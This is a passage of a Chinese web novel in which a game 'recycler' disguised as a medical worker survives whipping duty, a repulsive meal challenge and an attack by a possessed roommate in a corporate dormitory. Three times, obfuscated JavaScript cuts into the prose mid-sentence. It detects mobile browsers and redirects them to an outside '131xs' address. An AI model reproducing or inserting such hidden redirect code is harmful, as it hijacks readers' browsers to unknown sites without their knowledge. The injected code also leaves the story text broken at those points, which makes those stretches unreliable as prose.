可牧懿身上穿的却是医疗部的工作服，虽然布料结实，但并没有其他特殊效果，被抽了几鞭子之后就皱巴巴的。 加上天气渐暖，汗液与血丝混合在一起，让牧懿整个人看起来狼狈不堪。 但她两只脚与肩膀平齐，站姿稳固，并没有因被鞭子吓到而摔在地上。 375队除牧懿外一共有四人，因为牧懿与伊淮一起互抽，剩余三人便只好围成一个三角互相鞭笞对方。 这个三角位于牧懿背后，因而她看不见另外三个人的一举一动，而伊淮恰好可以将队内所有人尽收眼底。 牧懿听见身后有窃窃私语声，但她不敢贸然往后瞧。 她的身体虽然在苏醒时恢复了一点，但现在的状态并不太乐观。 在这里工作必须百分百专注，否则以伊淮的认真程度，牧懿很可能被她狠狠抽得倒在地上。 她额头的汗珠从鬓角大颗大颗地滴落，黑紫色刘海紧贴在鬓边。 牧懿紧攥鞭子的手腹也已发红，她看着伊淮身上的记号牌来到了“020”，终于松了一口气。 “叮——”一道巨大的声响从广场的四面八方传来。 牧懿虚脱的身体再也支撑不住，一下子累瘫在地上。 “中场休息。”伊淮卷起鞭绳缠在手腕上，扭了扭僵硬的脖子，径直走向牧懿左边的休息椅。 剩余三人也并没有理会累倒在地上的牧懿，随意地坐在休息椅上开始闲聊。 “喂，新来的，你之前是做什么工作的，为什么会被罚来这‘思过’？” 一道带着笑意的女声从牧懿背后传来，话语里明显有一股调侃和不屑。 牧懿没有立即回话，她一只手撑地，另一只手解开衣领最上方的扣子，抖了抖身上的鞭痕，在身后人要催问她时才慢悠悠地起身。 “尸体没处理干净。” 牧懿眼中一闪而过的黯淡无人察觉。 广场上被分为无数块小方格，每个方格交界处便由对应的椅子作为分隔线。 她们四人正好占满了西边的那张长椅，牧懿便走向北边的那张椅子前，面不改色地坐下。 刚才问她的那个女人站起身来，跳步坐到牧懿身边：“我叫武凌显，375队5号队员，请多多指教。” 牧懿微微侧目，猝不及防地看到了镜中倒映出的紫色淡漠瞳孔，和身旁武凌显的脸。 武凌显手持小镜子，惨白的脸看起来就像是泡在湖底很久很久的鹅卵石，光滑而细腻，却毫无血色。 她的眼珠却黑亮黑亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586096|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，从休息一开始就目不转睛地盯着牧懿微笑。 “莫云。” 牧懿朝她点点头，轻轻回握一下她的手，冰冷的触觉传来的同时，自己的手像是被石头禁锢住一般难以抽离。 “哇！不愧是处理尸体的手，连手心的掌纹都跟我们不一样，你们快来看！” 武凌显的瞳孔里冒出一丝诡异的好奇神色，她手劲很大，僵硬地掰扯开牧懿的手掌心，仔细地揣摩起来。 “又来了，不就是掌纹比较浅吗，你那掌纹跟刀刻的一样，看谁的都浅。” 刘岚被武凌显的声音吸引过来，她似乎并不在乎武凌显在惊呼什么，只是因为对牧懿很好奇而过来了。 牧懿被两个人包围住，感觉很不适，用力地把手抽了回来。 刘岚看起来更正常一点，只是五官稍稍有些挤，她每眨一次眼，眉毛好像就往里收缩一点。 武凌显和刘岚坐在牧懿左手边的位置上，开始聊天。 刘岚：“新来的，听说最近新时间表下来之后，医疗部犯错的人可多了，你已经是第4个来我们队‘思过’的了。” 牧懿听她这么说，想起系统当时告诉她的信息，混沌BOSS会对正常的NPC施加消极影响，难道医疗部还有更多潜藏的混沌BOSS碎片？ 医疗部还是有很多秘密等着她去发现。 牧懿察觉到刘岚的视线一直落在自己身上，她不得不象征性地回复她：“可能是因为上夜班难以调整吧。” 刘岚的声音却莫名其妙地高了八度：“他们再累能有我们累？真是身在福中不知福！” 正当牧懿因为刘岚愤慨的声音而扭头去看她时，却听见武凌显插了一句： “对呀对呀，我还想请一上午假去皮肤科找专家看看呢！新来的，莫云——是吧？你有没有认识的靠谱大夫呀？” 牧懿诧异地看向捣鼓自己手掌皮肤的武凌显，她好像一直专注在自己的世界里，并不在乎上一句刘岚说了些什么。 牧懿并不认识什么皮肤科专家，刚要拒绝她，却突然想起自己今天需要得到375队队员的好评，便临时改了主意。 “我认识一个朋友水平还不错，有空我推给你。” 武凌显惊喜地抓住牧懿的肩膀，过于激动地给了她一个拥抱：“太好了！” 牧懿瞬间感受到一股寒气侵入她体内，胳膊上满是鸡皮疙瘩。 而眼前的武凌显却忽然跳起来，好像是知道了什么天大的好消息一样兴奋，在空地上又蹦又跳的，手中的镜子闪来闪去。 伊淮正在闭目养神，她身边的那个黑发女子双眼空洞地盯着前方，而刘岚也没有理会武凌显的不正常举动。 只有牧懿在心里偷偷腹诽，如果真要看病，也不该去皮肤科吧，谁这个天气里浑身冰凉成这样？ 武凌显一起身，刘岚就立刻凑到牧懿身边，一脸警惕地问：“你脸色不太好，是上夜班没休息吗？” 牧懿从对方的眼睛里看见自己的脸色发白，只是轻轻地摇摇头。 “你们平时上班都干些什么？跟我们工厂部一样挨鞭子吗？累吗？有额外休息时间吗？是集体宿舍吗？” 一长串的问题如同鞭炮一样噼里啪啦地砸向牧懿。 刘岚的眼睛好像本来就有一点斗鸡眼，此刻步步紧逼的神情更让人感到压迫感。 牧懿不动声色地往后退了一下，倚在椅背上，与她拉开距离。 “你问这些干什么？” 刘岚摆摆手：“你只管说就好了，我没别的意思。” 她嘴上这么说着，但上半身依旧倾向牧懿，两只眉毛挤得更近了。 5. 旋转永不停歇5 当下晴空万里，微风和煦，随着太阳慢慢升起来的，还有那一片乌压压的傀儡群。 这些傀儡直接从属于监管部，会代替监管者在工作时间时刻巡视。 一旦有人犯规，傀儡便会立刻下手。 他们整齐划一地从东方的天空出发，在低空环绕整片广场，所过之处皆投下一片昏暗的投影。 牧懿便趁此机会站起身来，她瞥了一眼与她动作同步的刘岚，故意抬头望向其中一只傀儡。 “大家都是按规矩办事，上头让干什么就干什么，混口饭吃。”牧懿有意无意地把视线放在头顶的傀儡群上。 刘岚并没有顺着牧懿的视线去看傀儡，反而把头往脖子里缩了缩，嘴角不自然地扭过一个弧度，像是哼了一声，接着又嘟囔一句： “你们这些人整天蹲办公室，怎么可能跟我们一样在这风吹日晒的受累，甚至还有单独的宿舍，别以为我什么都不知道……” 她整个人全被傀儡的阴影盖住，五官扭曲在一起，浑浊的眼神里似乎带着一股愤恨。 牧懿皱了皱眉，坐在东边的凳子上，心里思索着，这刘岚是话里有话。 牧懿试探道：“你一直在工厂部做工吗？” “刘岚，上次你说不合身的工装还在吗？”伊淮突然睁开眼打断了她们两人的谈话。 “啊？” 刘岚回过神来，愣愣地说道：“我……还没来得及去换新的，一直放在柜子里。” “嗯，中午拿出来让莫云凑合穿一下午吧。”伊淮的语气冷冷的，没有别的多余情绪。 可她只这么一说一瞧，那刘岚脸上的极度扭曲神色便立刻消失不见了。 刘岚也不再追问牧懿关于医疗部的事，开始坐在那里抚摸自己的鞭子，神态安详。 不愧是队长，对队员有着极高的压制力。 牧懿不禁想起自己之前的那个队长，跟伊淮身上的气质简直一模一样。 能成为队长的人一般都被赋予了特殊的能力，是队内绝对的领导者，这样才便于集团内部的管理。 牧懿嘴唇轻轻抽动了一下，她低头看了眼自己这身乱糟糟的衣服，有些反复被鞭打的地方甚至已经裂开了。 她朝两人投去感激的眼神。 伊淮并没多说什么，只是她身旁的那个黑发女子却突然睁开了眼睛。 恰好与牧懿对视上。 她是独眼……不对，那只右眼只是被厚重的、长至胸口的刘海给盖住了，左眼却异常空洞。 牧懿脑海里突然闪过一道机械般的声音：六点五十七，该走了。 她就是早上在门口提醒她们到点了要出门的那个女人！ 她就这么一直盯着牧懿，准确来说是牧懿所在的那个位置，因为她那只独眼的眼皮一直没动过，活像一个机器人。 这个375队还真是怪，有着绝对压制力的冷酷队长伊淮、精神亢奋沉浸在自己世界里的武凌显、心思偏执嫉妒不公的刘岚，还有这个放空一切如同AI的独眼女人…… 中场休息过后，牧懿还算顺利地挨完了剩下的二十鞭。 【“莫云”扮演任务之“思过”第一天——进度：40% 阶段奖励积分：200（余额：400）】 下班的哨音再次吹响，广场上所有人开始如潮水一般涌向园区中间，在大道旁边的花坛处停下脚步，一个个默念着通行咒语回到了地下。 一回到宿舍，牧懿就被武凌显拉着来到五号床边。 “莫云莫云，你快告诉我那个皮肤科专家是谁，我今天下午就要去找她！” 牧懿笑了一下，推开她的手：“太不巧了，那位大夫周末没有排班，要不你周一下午再去？” 武凌显听完脸色立刻拉了下来，双手抱胸，颓废地坐在椅子上，把牧懿晾在一边。 这时刘岚恰巧从柜子里拿出一套工装，递给牧懿。 牧懿顺势去了洗手间。 这是个典型的上床下桌式宿舍，洗手间就在阳台旁边，虽然这里是地下，并不能看见阳光，但阳台的区域依旧晾满了衣裳。 牧懿刚转过身，就听见武凌显抱怨的声音： “为什么你们的皮肤都那么好，连新来的也是这样！越儿，你说为什么只有我长得跟个吸血鬼一样？” 武凌显到底为什么会这么在乎自己的皮肤？ 牧懿悄悄地拧开一点水龙头，随后便站在洗手间门口，耳朵抵在门边，慢慢地解开身上的薄外套，想听听她们会说什么。 那个被称为“越儿”的女人便是375队的3号床散越儿，牧懿进宿舍时瞥见了门口的宿舍人员名单。 散越儿：“你皮肤挺好的，没必要去看皮肤科医生。” “真的吗？那我就听你的，越儿你真好！” 三号床正好就在阳台旁边，散越儿那毫无感情的机械音响起时，牧懿浑身一个激灵。 她立刻脱下外套扔在一旁的架子上，低头猛地洗了把脸。 一抬头，牧懿整个人愣在原地。 洗手台上方的镜子里赫然便是散越儿那张恐怖的面孔，独眼圆睁正对着牧懿。 镜子里的散越儿只露出一个头，长长的黑发披散着，挡住她的右眼和双耳，活像一个被包装好的娃娃头套。 刚才听见散越儿说话时，牧懿便觉得一股凝视感直逼向她，压迫非常。 此人难道是异能者！ 牧懿镇静地关掉水龙头，错开散越儿直勾勾的视线。 镜子里的眼睛眼尾悄无声息地向上扬了一个像素点，随后就咻地一下消失了。 牧懿拿起洗手台旁边的湿巾，细细地擦拭身上的鞭痕。 她脑海里却在疯狂搜寻关于这类异能的讯息。 与视觉有关的，茫荒大陆内唯有一种异能者职业——【运变】之神麾下的“艺术家。 “艺术家”最擅长控制人的感官，可以迷惑人的视觉听觉等，使痛者不痛，失明者暂得光明，愉悦者抑郁难遏。 这种将画面隔空投映在别处、传递给他人的技法，是“艺术家”的拿手好戏。 如果散越儿是艺术家的话，那她对于周遭一切的感知力会远远超过普通人。 她就绝不会是目前表现出来的“机器人”状态那么简单。 以牧懿一直以来的世界观来看，茫荒大陆的异能者大多以惩治异类、维护大陆秩序为本职，但并不是所有异能者都秉持这种理念。 如果散越儿是异能者，她定然能发现这个宿舍里其他成员的异常，为何不采取行动呢？ 虽说牧懿在觉醒之前来威浦集团是受了神异局的命令，但自从被叛徒出卖被抓之后，她便很难与之前负责的上线联络了。 此刻如果贸然试探散越儿是否是神异局派来的异能者，可能会打草惊蛇。 牧懿秉着气，把手里沾满血迹的纸巾扔进垃圾桶内，换好衣服，最后看了眼潦草的镜子，转身出来了。 宿舍内有一张折叠桌，桌上摆着几大份饭盒。 今天轮到刘岚外出打饭，只见她挨个拆开饭盒，嘴里还抱怨着： “刚才我去356窗口排煲仔饭，那个打饭大爷脾气太臭了！盛饭的时候故意把饭盒摔桌子上，跟谁欠他一样，烦死了。” “我上周排到过一次他的窗口，感觉人还行吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586097|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就是分量有点少。”武凌显说。 “最近好多窗口的员工脾气都挺暴躁的，大家注意一下。”伊淮大跨步坐在桌边，大家紧接着落座。 武凌显：“越儿，你最爱吃甜的了，这份糖醋排骨给你！” 散越儿点点头，把饭盒里的炸鸡腿夹到武凌显的碗里。 牧懿坐在一角，咽了咽口水，原本还觉得有些饿的她此刻好像突然饱了。 她定定地盯着面前的饭盒，难以置信。 武凌显坐在牧懿对面，大口咬了一口手里的肉饼，还很好心地把牧懿的饭盒推得离牧懿更近些。 “下午还要上班呢，你不吃吗？”武凌显说。 牧懿一抬头便看见武凌显手里的肉饼，馅很足应该挺香的——如果那些黑不拉几的块状物能称之为肉的话。 她拿起筷子碰到饭盒边缘，她明明在看第一眼的时候便知道这是热腾腾的炸酱面，不用多想下意识地就知道。 可谁家的炸酱面是蓝绿色混合物啊！ 面条就像蓝色的长虫一样在碗里不停地扭曲搅拌，暗绿色的粘稠酱液跟虫子外表的保护膜一样覆盖一层，绿菜叶紧贴在虫子身边…… “不许浪费粮食。”伊淮冷峻的嗓音在牧懿耳边响起。 牧懿立刻感受到了来自于队长的压迫力，甚至比在广场上还要浓重。 她颤抖着拿起筷子，好像做了一个很大的决心，闭上眼心一横、端起碗就大口大口地吸溜面条。 牧懿以迅雷不及掩耳之势两口吞掉了一整碗面，干干净净。 空碗哐当一声重重地落在桌子上，牧懿两眼目视前方，双手还抱着碗，心如死灰。 幸而伊淮只瞥了一眼空碗便不再说话。 【“莫云”扮演任务之食物挑战完成 奖励积分：200（余额：600）】 “唔——” 牧懿蹭地站起身来扶住一旁的床杆，捂住胸口试图把所有食物顺下去。 为什么这饭桌上所有人的饭都这么恶心，她之前做NPC的时候可不是这样的！ 虽然威浦集团的员工待遇一般，但起码食物还算正常，可刚才…… 一想到那些虫子滑过她的食道，牧懿就忍不住反胃。 她在心里大声呼叫系统，想问它这是为什么。 系统：【你目前的视角为玩家视角，饮食方面与普通NPC并不一样。】 牧懿：那我刚才如果忽视了伊淮的要求，会怎么样？ 系统：【未能完成食物试练，违反副本规则，当即绞杀。】 看来这副本确实该回收销毁了。 但她又疑惑道：可我作为副本回收计划执行员，应该属于官方工作人员，为什么要跟玩家一样接受这种考验？ 系统：【由于该执行员接入系统时，恰好处于bug副本内，难以核实真实身份，故被暂时划入玩家阵营。】 牧懿有点开始怀疑这个游戏的靠谱性。 时间来到下午，由于牧懿已经适应了工厂部的工作，下午的那几十鞭就容易得多了。 胸前的号码牌来到80时，牧懿刚要顺势把鞭子缠到手腕上，却只见右前方有一道极快的影子朝牧懿的方向挥来。 猝不及防地打在牧懿抬起的右手上。 “啪！” 手腕受到鞭打时痛觉明显，本就松动的鞭子毫无征兆的从牧懿手边滑落。 队内所有人的视线都集中在这根不受控制的鞭子上。 牧懿抬起右脚踢在鞭子手柄上，下一秒就在手柄落地前用手稳稳地握住了它。 她这才意识到自己犯了一个极大的错误。 6. 旋转永不停歇6 烈日悬空，牧懿挥出第81鞭时，用手擦了擦鬓角的汗珠。 她自从重回副本以来，总觉得这里的一切太过熟悉，熟悉到好像自己知道所有的规则，于是便开始擅自以自己的理解来揣度新世界。 以她从前的经验，一天一百抽可以分散到上下晚三个时间段里。 刚才已经完成了80抽，剩下的20抽就可以留给晚饭后的两小时。 所以她就以为下午的任务完成了，她才会收鞭。 但牧懿却忘了今天是周六，晚上娱乐部有演出，大家便不必上晚班，所有的工作必须在表演前完成。 一想到这，牧懿就头皮发麻，如果在上班时间违规让鞭子手柄落在地上…… 头顶那群时刻巡视的傀儡恐怕能在鞭子手柄落地的瞬间撕吃掉她。 下午牧懿与刘岚和武凌显一组互抽，刚才那毫不留情的一鞭就是武凌显抽的。 阳光下武凌显的皮肤被映照的锃亮，可自从被散越儿安慰说皮肤挺好的之后，她就没再提起过去看皮肤科的事。 但武凌显依旧随身带着镜子，一到中场休息便不停地打量着镜中的自己，还时不时地揉搓捏拧自己的大理石皮肤。 可这样近乎自虐般的行为过后，她那光滑黏腻的手上却没有留下任何痕迹，这让武凌显反倒更加生气了。 其他人并不是很在乎武凌显的怪异举动，好像已经习以为常了。 牧懿并没有察觉到异类的气息，在此刻也不能妄断结论。 自她觉醒过来之后，周遭的一切便与之前有了很大的不同。 中午那碗炸酱面再一次涌上心头…… 牧懿以玩家的视角看到了这个游戏的残酷与恶心之处，但却不能跟之前一样被游戏剧情抹杀，这种异样感时刻缠绕着牧懿。 突然，一股浓重的凝视感从前方袭来，牧懿双手紧握鞭子，脚趾抓地稳住身盘。 与她在洗手间时的感觉一模一样。 但此刻散越儿背对着她，正与伊淮一组互抽。 散越儿那颗被长发包裹的头颅从风的缝隙中飘过，却未有一丝发丝随风扬起，如同被粘在一起般坚固。 自从牧懿得知散越儿有可能是异能者之后，她在她面前便时刻小心。 万一被对方知道了“莫云”是假的，牧懿很难立刻找到合适的身份。 “今晚上演出过后，莫云你住哪？不如住我们宿舍吧，还有两张空床。”刘岚突然出声关心起牧懿来。 牧懿被拉了回来，那股凝视感减弱了几分。 她看向刘岚，此人的语气正常，但眼睛里却没有什么感情。 牧懿主动回道：“好啊。” 刘岚嘴角立刻扬起一抹很大的弧度，眉头挑了挑，大笑起来：“你真是个爽快人，怪不得命这么好。” 所有人胸前的计数牌都来到了“100”，一天的工作结束了。 【“莫云”扮演任务之“思过”第一天——进度：80% 阶段奖励积分：200（余额：800）】 【已解锁技能与装备卡池—— 卡池100积分一抽，新手卡池赠送五连抽，必得一个B级物品。】 【请注意，宿主当前被识别为玩家，因而解锁了游戏卡池，建议您好好利用该卡池，否则奖励得到的积分毫无意义。】 牧懿：既然我是“副本回收计划”执行员，一般来说游戏员工不都会享受内部福利吗？比如各种券或者赠送的积分之类的？ 系统：【很遗憾，没有。】 垃圾游戏。 怪不得有bug，福利这么差谁给你卖命。 牧懿先把新手卡池的免费五连抽给用了。 【抽卡结果如下： S级：“眼见为真”X1（可短暂迷惑对方，限用三次） A级：“化水为刃”X1（不限次数） B级：黑色假发X1 C级：“祈福卡”X2（可向游戏内任何已知单位，包含神、人、异类等发送祈福卡祈求对方庇佑，但因此卡等级过低，对方大概率不会回应。）】 牧懿看到祈福卡的注解时忍不住嗤笑了一声，这卡倒有意思。 【注： ①卡池内物品分为S/A/B/C四个等级 ②新手卡池内，A级物品掉落概率增加；第二个副本开启后，新手卡池自动消失 ③100积分一抽，所有卡池均可单抽或五连抽，五连抽必得B级物品，除此以外无任何保底、定轨机制】 宿舍内，几人刚吃完晚饭，因为接下来不必工作，大家都很悠闲地在宿舍内放松。 这是个出门办事的好机会。 “伊淮队长，今晚有新推的女团‘TwirlyGirls’亮相，我出门去买她们的应援棒。” 伊淮的位置就在宿舍门旁边，她正在修理门边的紧急电话，而队内成员要出门必须得向队长汇报。 伊淮点了点头。 牧懿推门而出，出门后她的步伐立刻加快。 她之前卧底时的身份是工厂部358队2号员工，她当时就已经发现这个集团内部异类气息浓厚，并且搜集到了证据。 她快步走到358宿舍门口，装作路过的样子撇了眼宿舍门口张贴的人员名单。 果不其然，358队的人早就被处理了。 透过半开的房门，里面的布局和装饰也是牧懿完全陌生的样子，甚至连房门都是崭新的。 但这恰恰证明了监管部并没有找到牧懿藏起来的证据，她的嘴角露出一抹得意的笑。 牧懿转身走向离她最近的360商品窗口：“大婶，新女团的应援棒这里还有吗？” 360的卖货大婶正低着头清点货品，她一只手扶了扶老花镜，眉底习惯性地下压：“都这个点了，怎么不早来？上别地儿买去！” “大婶，”牧懿朝里面探了探脑袋，从兜里掏出一张红票塞给卖货大婶，“其他窗口我都问了，您行个方便。” 大婶咳了一声迅速把一团空气收进兜里。 【“眼见为真”可用次数：2/3】 牧懿眼神中漏出一丝狡黠，这技能还真好用。 只见大婶从桌子里拿出一根应援棒，放在柜台上。 牧懿拿的时候一不小心碰倒了柜台上的水杯，凉茶洒在桌面上的同时，也在无意中划破了牧懿的手心。 【已使用“化水为刃”】 牧懿一边用袖子擦一边连声道歉：“不好意思大婶，我给您擦一下。” 一枚血珠滴进柜台台面的缝隙中。 牧懿的紫色瞳孔里骤然倒映出一道微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586098|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微闪动的红光。 “哎呀你怎么这么不小心，赶紧走赶紧走碍事的家伙。”360窗口大婶不耐烦地驱赶走了牧懿。 牧懿故意刺中自己的手心，便是为了察看东西是否还在。 现在她便放心了。 牧懿回到375宿舍就径直走进洗手间，她把刘岚借给她的那件衣服洗了，搭在阳台的晾衣架上。 一扭头，身材高大壮实的刘岚却悄无声息地来到牧懿身边。 牧懿警戒地盯着她，却只见对方顺手掩住阳台的推拉门，拉她进了洗手间，从背后拿出手机和纸笔并关上门。 “新来的，我请教你一件事，你有空吗？”刘岚抵在洗手间门后笑着说。 她并没有理会牧懿是否答应，自顾自地把笔和本子硬塞给牧懿。 “听说医疗部的待遇仅次于监管部和娱乐部，尤其是你这种来自地面上的人，你们这种特别厉害的人怎么还会犯错呢？” 牧懿低头瞟了一眼手心密密麻麻全是红色字迹的笔记本，仅是这一瞥，便有无数画面钻进了牧懿的脑海里。 一个密不透风的空间内，刘岚的脸在牧懿面前放大，面目扭曲。 她似乎是坐着，双腿蹬直，身上只穿了件短袖短裤，四周漆黑，唯有她所在的那块区域散着微弱的光亮。 胳膊上、腰间和大腿那全是触目惊心的红色鞭痕，血迹似乎已经凝固在疤痕上了。 暗沉的血痂攀附在刘岚每一处裸露的皮肤上，化成纹身紧紧地刻在她的血肉里。 画面中的刘岚手里拿着一本血迹斑斑的笔记本，一手举起来正对着脸，疯狂大笑起来，笑声化成魔咒缠绕进牧懿的脑壳。 牧懿吃痛地捂住自己的耳朵，想要排斥掉这段癫狂刺耳的大笑。 可她下一秒就忽觉身上有万只蚂蚁爬过，嗫咬吸食，所过之处皆留下了长长的疤痕。 痒，好痒，好想挠皮肤上的那一道道结块，牧懿浑身颤抖，两只胳膊交叉着抓挠每一寸皮肤。 魔鬼般的笑声依旧在四面八方回荡，它像一只巨大的触手，想要把牧懿拖进黑暗之内。 【警告！警告！ 宿主精神值正在下降，目前为70/100，有异化风险。】 牧懿没有听见系统的警告，整个人蜷缩在洗手台旁边，手里那张纸失手掉在地上。 刘岚双手抱胸，一副看好戏的样子盯着眼前失控的牧懿，她一只手轻轻抓住牧懿的肩膀，附在她耳边低语，疯狂中带着一丝怒音： “我最讨厌的就是你们这些地面上虚伪的人类了，不仅待遇比我们这些地面下的蝼蚁高得多，还洋洋得意，自诩高人一等。” “但每每有人犯错，你们医疗部大楼的人就会像丢垃圾一样扔到我们这里来。” “你前面那三个“思过”的人全都是废物，连一上午的鞭子都撑不住，还好意思回去？休想！” 刘岚说着突然开始大笑起来，眉目极端扭曲，眼珠子瞪得浑圆。 她一只手从口袋里掏出三张写满差评的纸，另一只手掰起牧懿的下巴，强迫眼神涣散的牧懿抬起头来看一看这几张带着血迹的差评： “你倒是不错，居然挨过了一百鞭，可你脏了我的衣服……” 刘岚眼神一凌，恶狠狠地抬起手要扇牧懿一巴掌发泄怒火。 7. 旋转永不停歇7 牧懿整个人失去了控制，她双手控制不住要去抓挠身上的每一处皮肤，却恰好在挣扎时左手往后一倒，推开了身后的水龙头。 哗啦哗啦的水声立即充斥着整个洗手间，刘岚刚刚扬起的双手却在此刻猛地愣在原地。 她拧在一起的五官在被镜子注视到的一瞬间展平，眼里的嫉妒和疯癫如同水一般蒸发殆尽。 急促激烈的水声刺破了包裹吞噬牧懿的黑暗，她沾了水的手上立刻化出一枚匕首。 牧懿眼神狠厉，趁刘岚呆愣时毫不犹豫地朝她胳膊上刺去。 【已使用“化水为刃”】 牧懿胆子本就大，更何况素来心狠手辣。 一招反击，牧懿把刘岚整个人抵在洗手间的门上，匕首压在她脖颈间，声音低沉： “说，你跟散越儿是什么关系？她为什么来你们宿舍！” 洗手间内唯有水流动的声音，刘岚僵在原地，眼神中空洞异常，对于牧懿的紧逼没有任何反应。 牧懿眸子稍稍侧过一点，瞥见镜子里那颗恐怖的头颅。 镜中的散越儿的眼睛像黑洞一般吸走了刘岚全部的神魂，如今对上牧懿的冷静回视，骤然收缩刺向牧懿。 牧懿按住刘岚，用拿匕首的那只手朝镜中那只眼狠狠戳了过去。 刺啦一声镜子碎成好几片，但镜中的散越儿却并没有受到一丝冲击，她满头浓郁的黑发一根根飘了起来，一瞬间冲破了镜子的限制。 牧懿放下已然失去意识的刘岚，再次使用“化水为刃”，快刀斩乱麻般的斩断了朝她袭来的浓密黑发。 但镜中的黑发像疯狂生长的霉菌一般源源不断地冒出来。 牧懿连砍数刀也难以招架。 但牧懿却一点也不觉得累，甚至觉得这些头发在触碰到刀的一瞬间就自动避让开了，反而试图从刀的侧面发起攻击。 这双刀是用水做的，难道说…… 牧懿一刀架在胸前，一刀挥于身侧，一迅雷不及掩耳之势关掉了轰隆隆出水的水龙头。 水声猝然消失的刹那，头发和散越儿的头像都灰飞烟灭了。 上次散越儿的头像在镜中消失时，牧懿便觉得不对劲。 普通的艺术家可以迷惑人的感官，将视觉和听觉信息传递给他人，但大多受到空间的限制，如果两人之间的障碍物越多，传递的信息就越不清晰。 虽然高星级艺术家的异能水平更高，但像散越儿这种把头像投影到镜子里，并且可以发起攻击的能力并容易。 散越儿必须借助其他物品做媒介。 水龙头显然是个极好的开关调节器。 而此刻蓄满水的池子还在慢慢往下流，牧懿站在破碎的镜子前，愣怔片刻。 破碎的镜子里，她所有裸露的皮肤上全是红色的伤痕，抓挠和鞭笞的疤痕深邃入骨。 那双标志性的紫色眼睛仿若被勾走了魂，红血丝密布眼球周围，像从内部裂开的玻璃珠。 被牧懿戳破的镜子并没有碎一地，相反，那些纹理对应着牧懿身上的伤疤，徒增诡异。 镜中倒在地上的刘岚也是，跟那个黑暗空间里举起纸狂笑的女人一模一样。 牧懿不可置信地低头查看自己的身体，那些触目惊心的伤疤比透过镜子看还要清晰。 忽然一股头痛欲裂的感觉袭来，牧懿身体不稳，扶住洗手台，一只手捂着头，眉头紧皱。 这痛觉真实得不像幻觉，牧懿脑海里忽然一闪而过一个巨大的围墙包围住的院子。 院子里全是人，个个手里拿着鞭子在互抽。 这里是什么地方，我为什么在这里？ 【检测到宿主在更新前的记忆—— 地点：威浦集团监管部 时间：*** 状态：工作中的人类 同伴：***】 系统声音响起的刹那间，牧懿好像被人从回忆里给拉了出来。 她敏锐地捕捉到了关键信息“威浦集团监管部”。 院子里的那些人明明跟牧懿今天和伊淮她们的工作是一样的，只是在互抽，但为什么不是在北区广场？ 牧懿只记得自己当初被捕是在358宿舍内，一直到被送到医疗部九区秘密处死，这中间的记忆是完全空白的。 那些监管部的人把她抓走后又做了什么？ …… 镜子中的带伤牧懿和刘岚忽然间消失了。 她们身上的伤疤也随之不见了。 “咚咚咚——”门外忽然响起敲门声。 牧懿从沉思中回过神来，她听见门外武凌显在说话。 “刘岚，你好了吗？我们准备去看演出了，别忘了我们还要打赌看新女团的C位到底是谁呢！” 而刘岚此刻双眼半睁着，仿佛灵魂出窍了一样毫无反应。 牧懿捏着嗓子模仿刘岚比较粗的声线：“我没忘，你们先去吧。” 武凌显：“好！那你快点哦！” 外面明显有关门声，看来她已经走了。 牧懿一低头，捡起地上那张布满红色笔迹的纸，捏了捏，似乎比刘岚刚递给她时要轻一些。 眨眼间，纸上的红色墨水突然变浅了许多，纸也变得潮湿绵软了些，隐约能看见一些斑点霉丝，像是在地下存放了许久的样子。 牧懿脑海里突然闪过黑暗空间里的画面，里面刘岚手里拿着的那张纸好像就是这张纸的原貌…… 难道说这是刘岚异化后凝结的“诡异物”？ 系统：【正是。】 “诡异物”是由异类心中的怨念凝聚而成的物品，带有该异类最独特的记忆，如果人类不小心触碰，就会被感染。 但该物品属于消耗品，异类使用后便会失效。 怪不得牧懿一碰到这张纸的瞬间就被拉进了某个诡异的记忆内，甚至受到感染、精神值下降，差点被失去理智的刘岚杀掉。 看来刘岚果真如她猜的那样异化了，只是目前受到某种力量控制，并没完全成为异类罢了。 牧懿以为刘岚邀请她今晚住在这里，起码会等到睡觉后才会动手，没想到刚吃完晚饭对方就控制不住了。 牧懿问系统：“我现在的精神值大约有多少？” 系统：【60/100】 这么短的时间就降了10个点，看来刘岚的力量不小，散越儿更是不容小觑。 只是牧懿记得精神值低于40才会出现【异化躯体行为】，即恐慌、幻觉、失控等行为，她明明还没低至40，为什么就控制不住自己自残的手呢？ 而且，刚才抓挠的时候有一股熟悉的痛感袭来，牧懿朦胧之中觉得不对劲，但失控状态下根本没办法思考。 【解锁工厂部职工刘岚的相关信息： 刘岚自两年前进入威浦集团后便一直在工厂部就职，为人兢兢业业、安分守己，但似乎对于集团内部各部门之间的不公平待遇耿耿于怀。 